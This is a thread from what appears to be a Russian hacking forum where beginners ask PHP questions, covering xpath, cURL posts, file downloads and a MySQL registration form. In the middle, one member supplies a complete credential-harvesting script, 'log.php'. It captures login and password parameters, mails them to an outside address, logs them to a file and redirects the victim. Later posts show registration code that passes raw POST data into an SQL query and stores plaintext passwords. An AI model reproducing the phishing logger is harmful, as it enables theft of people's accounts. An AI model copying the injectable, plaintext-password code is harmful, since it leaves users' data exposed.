[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. -PsychonauT-

    -PsychonauT- Member

    Joined:
    23 Aug 2009
    Messages:
    0
    Likes Received:
    67
    Reputations:
    -1
    [dword] в бестолку(((( пробовал
     
  2. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    -PsychonauT-, попробуй удалить папку Z(название диска где денвер):\home\vkontakte.ru если такая есть
     
  3. Boogie

    Boogie Member

    Joined:
    8 Oct 2009
    Messages:
    0
    Likes Received:
    10
    Reputations:
    0
    убирай строчки с редиректом контакта, перезагрузи комп
     
  4. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    Вот так можеш сделать.
    PHP:
    $hex="544324234523534531";
    $len=strlen($hex);
    for(
    $i=0$i<$len;)
    {
        
    $var[] = substr($hex$i2)."%"
         
    $i += 2;
    }
        foreach (
    $var as $val)
        {
            echo 
    ''.$val.'<br>';
        }
     
    1 person likes this.
  5. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Мне вот даже интересно что он выберет, свой однострочный вариант или твой.
     
  6. crackmail

    crackmail Elder - Старейшина

    Joined:
    3 Jun 2008
    Messages:
    106
    Likes Received:
    19
    Reputations:
    10
    Имеется файл log.php
    при таком сорце он не срабатывает , как более грамотнее написать?


     
  7. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    header("Location: http://antichat.net"); - до вывода

    ________
    0ph.ru
     
    #12247 L I G A, 16 Oct 2009
    Last edited: 10 Dec 2009
  8. crackmail

    crackmail Elder - Старейшина

    Joined:
    3 Jun 2008
    Messages:
    106
    Likes Received:
    19
    Reputations:
    10
    если до вывода то файл log.php вообще не пашет
    Parse error: syntax error, unexpected '<' in
     
  9. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    давай весь код, я не телепат.
    Эрорит из-зи того что ты
    Code:
    <img height=0 width=0 src="http://www.imet/gail.php">
    постиш <? тут ?> без использования операторов вывода

    ________
    0ph.ru
     
    #12249 L I G A, 16 Oct 2009
    Last edited: 10 Dec 2009
  10. crackmail

    crackmail Elder - Старейшина

    Joined:
    3 Jun 2008
    Messages:
    106
    Likes Received:
    19
    Reputations:
    10
    спасибо сделал
     
  11. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    без задержек:
    PHP:
    <?PHP
    Error_Reporting
    (E_ALL & ~E_NOTICE);

    $Login $_GET['Login'];
    $Domain $_GET['Domain'];
    $Pass $_GET['Password'];

    //####################################
    $from "ol.ru"//
    $to "o95@ru"// 

    $subj " l.com : $Login@$Domain"//
    $body " Логин: $Login@$Domain \n Пароль: $Password"//
    //####################################


    $from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit"
    $from=convert_cyr_string($from,"w","k"); 
    $to=convert_cyr_string($to,"w","k"); 
    $subj=convert_cyr_string($subj,"w","k"); 
    $body=convert_cyr_string($body,"w","k"); 
    mail($to,$subj,$body,$from); 

    $c "$Login@$Domain:$Password";

    $f=fopen("c.txt","at");
    flock($f,2);
    fputs($f,"Логин: ".$_GET['Login']);
    fputs($f,"Пароль: ".$_GET['Password']."\n");
    flock($f,3);
    fclose($f);
    header("Location: http://antichat.net");
    ?>
    <img height=0 width=0 src="http://www.imet/gail.php">
    ________
    0ph.ru
     
    #12251 L I G A, 16 Oct 2009
    Last edited: 10 Dec 2009
  12. prescott

    prescott Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    132
    Likes Received:
    43
    Reputations:
    5
    Сегодня начал разбираться с xpath, вопрос конечно не по PHP, но новую тему создавать смысла думаю нет. Есть XML:

    Code:
    <products>
      <product name="pr_name">
        <properties>
          <property name="distr">
          http://example.com/distr.exe
          </property>
          <property name="img">
          http://imgs.com/img.jpg
          </property>
        </properties>
      </product>
    <products>
    
    Нужно получить ссылку на дистрибутив, указанную в узле <property> с атрибутом name="distr", делаю так:

    PHP:
    $xml_string file_get_contents($url);

    $xml simplexml_load_string($xml_string);

    foreach (
    $xml->products->product as $product) {
    $distr $product->xpath("properties/property[@name='distr']/text()");
    print_r($distr);
    }
    $distr - пустой массив, что неправильно делаю? Если писать так: $distr = $product->xpath("properties/property[@name='distr']");

    то возвращает узел property со списком атрибутов, значит путь пишу верно, но как получить текстовое значение узла?

    Вопрос снят: ссылка на дистрибутив была в CDATA
     
    #12252 prescott, 17 Oct 2009
    Last edited: 17 Oct 2009
  13. CaraL

    CaraL New Member

    Joined:
    3 Dec 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    $link = "http://nokiabest.ru/files/Emylyatory/games/WAD/40_skin.zip";
    $name = explode("/", $link);
    $name = $name[count($name) - 1];
    header("Content-Disposition: attachment; filename=\"Google.Com_$name\";");
    file_get_contents($link);
    почему выдается для скачивания файл с расширением htm, хотя должен с расширением zip?
     
  14. eniki

    eniki New Member

    Joined:
    6 Sep 2009
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    Привет всем, помогите кто знает. Хочу засабмитить форму multipart/form-data через php + cURL

    такой post браузер передаёт

    Code:
    -----------------------------1889646677285 Content-Disposition: form-data; name="tagcount"  0 -----------------------------1889646677285 Content-Disposition: form-data; name="ffont"  0 -----------------------------1889646677285 Content-Disposition: form-data; name="fcolor"  0 -----------------------------1889646677285 Content-Disposition: form-data; name="fsize"  0 -----------------------------1889646677285 Content-Disposition: form-data; name="a"  fcmmnew -----------------------------1889646677285 Content-Disposition: form-data; name="d"  1 -----------------------------1889646677285 Content-Disposition: form-data; name="login"  ararat -----------------------------1889646677285 Content-Disposition: form-data; name="foto"  1 -----------------------------1889646677285 Content-Disposition: form-data; name="s"   -----------------------------1889646677285 Content-Disposition: form-data; name="message"  dsfsdf -----------------------------1889646677285 Content-Disposition: form-data; name="Submit"  Отправить -----------------------------1889646677285--
    

    я эт все в массив

    Code:
        
    $postdata = array(  'tagcount' => '0',                       	'ffont' => '0',                       	'fcolor' => '0',                       	'fsize' => '0',     					'a' => 'fcmmnew',                       	'd' => '1',                       	'login' => 'ararat',                       	'foto' => '1',                       	's' => '',                       	'message' => 'dsfsdf',                       	'Submit' => 'Отправить'                       	);
    
    Но в результате открывается страничка которая должна открыться, но без коммента, что я не так делаю?
     
  15. qW1zer

    qW1zer Member

    Joined:
    24 Aug 2009
    Messages:
    129
    Likes Received:
    15
    Reputations:
    5
    mySql/регистрация

    Парни нужна помощь,никак не получается загнать в базу данные!
    Есть форма регистрации,в ней 5 форм:
    логин
    е-мейл
    пароль
    наст.имя
    сайт
    Они отправляются на страницу,с помощью POST
    Там получаются,тем же POST в соотв. переменную каждый(в отдельную)!
    Но у меня никак не получается записать их в таблицу!
    У меня создана база,в ней таблица users
    в таблице 5 полей соотв. названиям инпутов и выбран тип каждого поля - text!Кому не сложно напишите код который после получения будет их забивать в базу!И скажите еще,правильно ли я выбираю тип поля таблицы - text и при следующем заносе,то бишь при следующей регистрации все будет нормально?Заранее всем спасибо :)
     
  16. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    лучше свой код покажите, который никак не может записать "форму из пяти форм"
     
  17. qW1zer

    qW1zer Member

    Joined:
    24 Aug 2009
    Messages:
    129
    Likes Received:
    15
    Reputations:
    5
    Код обработчика

    PHP:


    <?php
    $dblocation
    ="localhost";
    $dbname="base";
    $dbuser="user";
    $dbpassword="pass";
    $db_connect mysql_connect($dblocation,$dbuser,$dbpassword);
    $db_select mysql_select_db($dbname,$db_connect);
    $login=$_POST[login];
    $password =$_POST[password];
    $email =$_POST[email];
    $name =$_POST[name];
    $www =$_POST[www];
    $userAdd mysql_query("INSERT INTO 
                                        users (login,password,email,name,www) 
                            VALUES
                                        ('
    $login', '$password', '$email', '$name', '$www', ''"); 
    ?> 


     
  18. qW1zer

    qW1zer Member

    Joined:
    24 Aug 2009
    Messages:
    129
    Likes Received:
    15
    Reputations:
    5
    з.ы.Поторопился,из 5 строк/полей
     
  19. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    PHP:
    <?php
    $login
    =$_POST['login'];
    $password =$_POST['password'];
    $email =$_POST['email'];
    $name =$_POST['name'];
    $www =$_POST['www'];
    ?>
    а если так?
     
  20. qW1zer

    qW1zer Member

    Joined:
    24 Aug 2009
    Messages:
    129
    Likes Received:
    15
    Reputations:
    5
    я заметил что разницы нет,хоть в другом скрипте но думаю все же!
    С кавычками у меня проблем не было,лучше посмотри в мускул запросом все правильно?
     
Thread Status:
Not open for further replies.